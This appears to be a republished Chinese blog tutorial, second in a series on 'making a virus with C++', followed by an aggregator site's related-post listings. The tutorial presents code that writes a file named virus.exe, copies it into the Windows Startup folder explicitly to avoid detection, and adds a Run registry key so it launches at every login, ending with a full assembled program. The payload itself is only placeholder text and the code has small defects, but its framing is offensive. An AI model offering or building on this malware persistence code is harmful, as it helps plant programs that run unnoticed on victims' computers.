用C++超简单做病毒第二期

这篇具有很好参考价值的文章主要介绍了用C++超简单做病毒第二期。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

上一个博客反响很好,如果这期也一样

我会继续做下去

好了废话不多,下面开始讲解


第一步写个简单的C++框架

这里我们还是需要应用Windows库

所以我们需要两个头文件

一个是<Windows.h>还有一个是<iostream>

至于第二个iostream是什么你可以简单的理解为

他是C++的基础库,基础的东西都在里面

什么你上面没看懂?

没事,上面也其实就是一个框架

就是我下面总结的

//上面总结出来的
#include <iostream>
#include <Windows.h>
using namespace std;
int main()
{
    
    return 0;
}

这类似于一个公式,写下来就行,实在不理解也没事


接着我们完成第二步,创建病毒文件

我们使用ofstream来操作创建exe文件脚本

这个是C++中调用文件的东西

我们只需要做到

  1. 创建一个exe文件并且赋予名字
  2. 打开它
  3. 操作
  4. 关闭它

这些分别对应以下代码

string virusFileName = "virus.exe";//取名

ofstream virusFile;//创建它

virusFile.open(virusFileName);//打开它

virusFile << "Okey!";//当开启输出

virusFile.close();//关闭

 


第三步,将病毒文件复制到启动文件夹

为了避免被发现,我们可以进行病毒放到启动文件夹内

大多数人会怕误删而忽视它

这一步也很简单

  1. 找到启动文件夹
  2. 拷贝到里面

这里新的知识点是

CopyFile();

 这个是拷贝文件的操作

在括号内放入保存名称和路径就可以实现

好了这里的代码就是

//用一个字符串变量存储路径
string startupFolderPath = "C:\\Users\\    
    [username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup";

string virusFilePath = startupFolderPath + "\\" + virusFileName;

CopyFile(virusFileName.c_str(), virusFilePath.c_str(), false);//保存

最后一步也就是稍难的部分

使用注册表来使病毒更完美点

这里需要用到HKEY知识点

具体的可以查看别的博客来了解

这是一个调用注册表的功能

注册表应该都不陌生

有些软件就会使用注册表来开启自动启动

那我们也来实现这步骤

  1. 创建个注册表内容
  2. 写入功能

也就是下面这个

//创建
HKEY hKey;
//打开
    RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey);
//写入功能
    RegSetValueEx(hKey, "Virus", 0, REG_SZ, (LPBYTE)virusFilePath.c_str(), virusFilePath.length() + 1);
//关闭
    RegCloseKey(hKey);

 


总:

你如若还没听懂这里有个代码的整理

可以实现简单的病毒制作

#include <iostream>
#include <Windows.h>
using namespace std;
int main()
{
    // Create a virus file
    string virusFileName = "virus.exe";
    ofstream virusFile;
    virusFile.open(virusFileName);
    virusFile << "Virus code goes here";
    virusFile.close();
    // Copy the virus file to the startup folder
    string startupFolderPath = "C:\\Users\\[username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup";
    string virusFilePath = startupFolderPath + "\\" + virusFileName;
    CopyFile(virusFileName.c_str(), virusFilePath.c_str(), false);
    // Create a registry entry to run the virus on startup
    HKEY hKey;
    RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey);
    RegSetValueEx(hKey, "Virus", 0, REG_SZ, (LPBYTE)virusFilePath.c_str(), virusFilePath.length() + 1);
    RegCloseKey(hKey);
    return 0;
}

这就是我所讲的所有的代码

希望大家能多支持这一系列!!!

感谢文章来源地址https://www.toymoban.com/news/detail-462613.html

到了这里,关于用C++超简单做病毒第二期的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【C++】如果你准备学习C++,并且有C语言的基础,我希望你能简单的过一遍知识点。

    相关视频——黑马程序员匠心之作|C++教程从0到1入门编程,学习编程不再难_哔哩哔哩_bilibili(1-83) 我的小站——半生瓜のblog 我知道这个视频早已经被很多人学习并且记录笔记,但是我还是想再过一遍前面的基础知识点,所以我这个笔记会非常的简洁,适合有C语言基础的小伙

    2024年02月01日
    浏览(47)
  • Java面试被问了几个简单的问题,却回答的不是很好

    作者: 逍遥Sean 简介:一个主修Java的Web网站游戏服务器后端开发者 主页:https://blog.csdn.net/Ureliable 觉得博主文章不错的话,可以三连支持一下~ 如有需要我的支持,请私信或评论留言! 前言 前几天参加了一个做web开发的面试,被问了几个问题,虽然有些题目比较偏,但是确

    2024年02月08日
    浏览(60)
  • 我用GPT-3.5写了一个关于C++排序的博客,大家看看和我手写的哪一个好

    手写版:你还不懂排序?那是你没看到这篇文章…_我爱OJ的博客-CSDN博客 以下内容来自GPT-3.5大模型: 目录 一、排序算法的基本概念 二、比较排序算法 1、冒泡排序 C++代码实现 2、选择排序 C++代码实现 3、插入排序 C++代码实现 4、希尔排序 C++代码实现 5、归并排序 C++代码实现

    2024年02月03日
    浏览(58)
  • 如何零基础零费用的在30分钟内用hugo+github pages创建一个专属于你的个人博客 - 简单快捷到建议人手一个

    写这篇文章的原因是在网上看了很多的教程,踩了不少的坑,更多的白费了很多功夫,也没找到一篇从头到尾完整有效的个人建站方法。 有些教程年代久远,有些教程极为繁琐,有些教程压根跑不通。 为了方便自己,做个记录,也方便大家,在这个人人都可以发声的时代,

    2024年01月22日
    浏览(56)
  • 求一个3*3的整型矩阵对角线元素之和,觉得很实用,也很好理解(易懂)

    矩阵 :   1     2     3               4     5     6               7     8     9 那么对角线分别是   1、5、9和3、5、7,那么要求他们之间的和! 最简单的方法如下: 先定义一个二维数组a[3][3]  //因为3*3的矩阵有9个数,正好对应a[3][3] 接下定义两个变量 i,j 和 两条

    2024年02月05日
    浏览(39)
  • 1.1 编写一个简单的C++程序

      博主介绍:爱打游戏的计算机专业学生 博主主页:夏驰和徐策 所属专栏:夏驰和徐策带你从零开始学C++ 这段话解释了一个C++程序中的`main`函数的基本结构和功能。 它告诉我们以下几点: 1. C++程序的入口点是`main`函数,操作系统通过调用`main`函数来运行程序。 2. `main`函数

    2024年02月10日
    浏览(61)
  • 使用C++界面框架ImGUI开发一个简单程序

    目录 简介 使用示例 下载示例 main文件 设置ImGui风格 设置字体 主循环 添加Application类 中文编码问题 界面设计 关于imgui_demo.cpp 创建停靠空间 创建页面 隐藏窗口标签栏 创建导航页面 创建内容页面 隐藏控制台窗口 打包程序 总结 待解决问题 开发优势 附件 ImGui 是一个用于C++的

    2024年02月13日
    浏览(42)
  • 一个简单好用的C++语言单元测试框架-GoogleTest

    GoogleTest 是由 Google 开发的一个用于编写 C++ 单元测试的框架。单元测试中单元的含义,单元就是人为规定的最小的被测功能模块,如C语言中单元指一个函数,Java里单元指一个类,图形化的软件中可以指一个窗口或一个菜单等。在实际项目中,单元测试往往由开发人员完成。

    2024年01月19日
    浏览(95)
  • 【啃书C++Primer5】-编写一个简单C++程序

    每个C++程序都包含一个或多个函数(function),其中一个必须命名为 main 。操作系统通过调用main来运行C++程序。下面是一个非常简单的main函数,它什么也不干,只是返回给操作系统一个值: 一个函数的定义包含四部分: 返回类型(return type)、函数名(function name)、一个括号包围的形

    2024年02月04日
    浏览(38)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包